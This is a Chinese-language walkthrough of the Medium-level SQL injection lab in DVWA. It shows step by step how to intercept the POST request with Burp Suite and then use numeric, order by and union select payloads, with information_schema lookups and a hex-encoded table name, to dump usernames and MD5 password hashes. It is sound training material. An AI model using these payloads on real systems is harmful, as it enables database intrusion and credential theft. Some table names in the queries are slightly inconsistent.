此环境为DVWA中SQL lnjection,难易程度为Medium
首先在选择框中选择1提交,返回admin的数据
提交2,获得另一个数据
在提交的时间,url里没有任何变化,应该不是GET型,根据判断可能为Cookie型或者POST型,Cookie和POST都是数据包里面进行提交,所以使用burp这款工具查看它属于哪一种接受方式
首先设置浏览器的代理(这里为kali中的firefox)
将代理IP地址设置为127.0.0.1(本地地址),端口为8080(burp默认代理端口)
打卡burp
选择--Proxy--Intercept--Intercept is on打开代理
然后回到SQL Injection,提交1,以可看到为POST接收参数
然后右键,Send to Repeater 打开模拟提交去观察发送和返回包之间的变化
然后点击GO
提交1的时候
提交2的时候
可以看到这个Web页面是通过POST提交的,找到传输的地点以后,通过这个传输点把恶意的SQL语句带入查询看看
输入:1 and 1=1 //返回正常
输入:1 and 1=2 //返回错误
不需要加单引号进行闭合,说明这是一个数字型的SQL注入
然后接着判断列字段值的长度
输入:1 order by 2 //返回正常
输入:1 order by 3 //报错
说明只有2个长度
输入:1 union select 1,2
可以看见1和2地方存在脆弱点
查看当前使用的数据库名称和当前用户名,在脆弱点1和2上输入database()和user()
可以看到用的数据库为dvwa,当前用户为root@localhost
查看dvwa数据库中有什么表: 1 union select 1,table_name from information_schema.tables where table_schema='dvwa'
可以看到这里的单引号呗转义了,将dvwa转换成16进制,代替dvwa
可以发现dvwa这个数据库中有guestbook和user两个表,经验告诉我,账号密码存放在users表中
查看users表中的列:1 union select 1,column_name from information_schema.columns where table_name=0x7573657273
可以看到users表中的列都被曝了出来,根据经验,user列中存放用户名,password列中存放密码
查看这两个列里面的数据:1 union select user,password from user
到此就获得了这个Web服务器数据库里所有的账号密码
密码都是md5加密后的,可以使用在线MD5解密工具进行解密